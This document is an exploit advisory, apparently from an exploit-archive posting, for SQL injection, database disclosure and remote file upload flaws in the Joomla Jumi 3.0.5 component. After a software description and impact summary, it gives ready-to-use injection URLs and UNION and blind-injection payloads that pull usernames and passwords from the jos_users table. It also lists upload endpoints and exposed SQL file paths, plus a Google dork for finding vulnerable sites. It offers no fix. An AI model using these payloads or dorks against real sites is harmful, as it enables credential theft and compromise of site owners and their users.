#################################################################### # Exploit Title : Joomla Jumi Components 3.0.5 SQL Injection / Database Disclosure / Remote File Upload # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 05/02/2019 # Vendor Homepage : 2glux.com # Software Download Link : 2glux.com/downloads/files/free/jumi-3.0.5-2glux.com.zip # Software Information Link : extensions.joomla.org/extension/jumi/ # Software Version : 3.0.5 for Joomla 2.5.x and 3.x and previous versions. # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : inurl:''/index.php?option=com_jumi'' # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] CWE-200 [ Information Exposure ] CWE-264 [ Permissions, Privileges, and Access Controls ] # Old Similar CVE [ Only Version is Different and parameters ] : CVE-2009-2102 # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos #################################################################### # Description about Software : *************************** Jumi is the set of custom code extensions for Joomla! 1.0.x, 1.5.x and 1.6.x in their native modes. With Jumi => * you can include php, html, javascript scripts into the modules position, articles, category or section descriptions, or into your own custom made component pages, * you can even include static html or txt pages into your pages without using wrapper component, * you have full access to Joomla! variables, functions, constants, etc. in your php scripts. Jumi is ideal solution for => * including banners or text ads into your Joomla! site: no matter if your own or affiliates ones,* easy and fast inclusion of smart javascript, php, html and dhtml scripts into your Joomla! content, * fast development of not only small and simple customized modules and plugin solutions based on php, javascript and html or dhtml scripts like flash shows, ads and picture presentations, forms inclusion, etc. But for the development of more sophisticated solutions including database data processing. #################################################################### # Impact : *********** * Joomla Jumi 3.0.5 component for Joomla and other previous versions is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. This vulnerability could allow remote attackers to execute arbitrary SQL commands to access sensitive information. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser. * This Software prone to an information exposure/database disclosure vulnerability. Successful exploits of this issue may allow an attacker to obtain sensitive information by downloading the full contents of the application's database. * Any remote user may download the database files and gain access to sensitive information including unencrypted authentication credentials. * This software is prone to a vulnerability that lets attackers upload arbitrary files it fails to adequately sanitize user-supplied input. An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. #################################################################### # SQL Injection Exploit : ********************** /index.php?option=com_jumi&fileid=[ID-NUMBER]&Itemid=[SQL Injection] /index.php?option=com_jumi&fileid=[ID-NUMBER]&idManif=[SQL Injection] /index.php?option=com_jumi&fileid=[ID-NUMBER]&Itemid=[ID-NUMBER]&cidade=[SQL Injection] /index.php?option=com_jumi&fileid=[ID-NUMBER]&Itemid=[ID-NUMBER]&i_semana=[SQL Injection] /index.php?option=com_jumi&fileid=[ID-NUMBER]&Itemid=[ID-NUMBER]&searchcall=[ID-NUMBER]&gastronomia=[SQL Injection] # Example SQL Injection Exploit Payload : ************************************* /index.php?option=com_jumi&fileid=2&Itemid=4+UNION+SELECT+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from/**/jos_users+- /index.php?option=com_jumi&fileid=2'+and+ascii(substring((SELECT+concat(username,0x3a,password)+from+jos_users+limit+0,1),1,1))=101/* '+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1/* '+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1/* /index.php?option=com_jumi&fileid=2'+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1/* /index.php?option=com_jumi&fileid=".$z."'+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c."/*"; #################################################################### # Remote File Upload Exploit : **************************** /index.php?option=com_jumi&view=application&fileid=14&Itemid=147 /index.php?option=com_jumi&view=application&fileid=10&Itemid=200 #################################################################### # Database Disclosure Exploit : *************************** /administrator/components/com_jumi/install.jumi.sql /administrator/components/com_jumi/uninstall.jumi.sql /administrator/components/com_jumi/._install.jumi.sql /administrator/components/com_jumi/._uninstall.jumi.sql #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################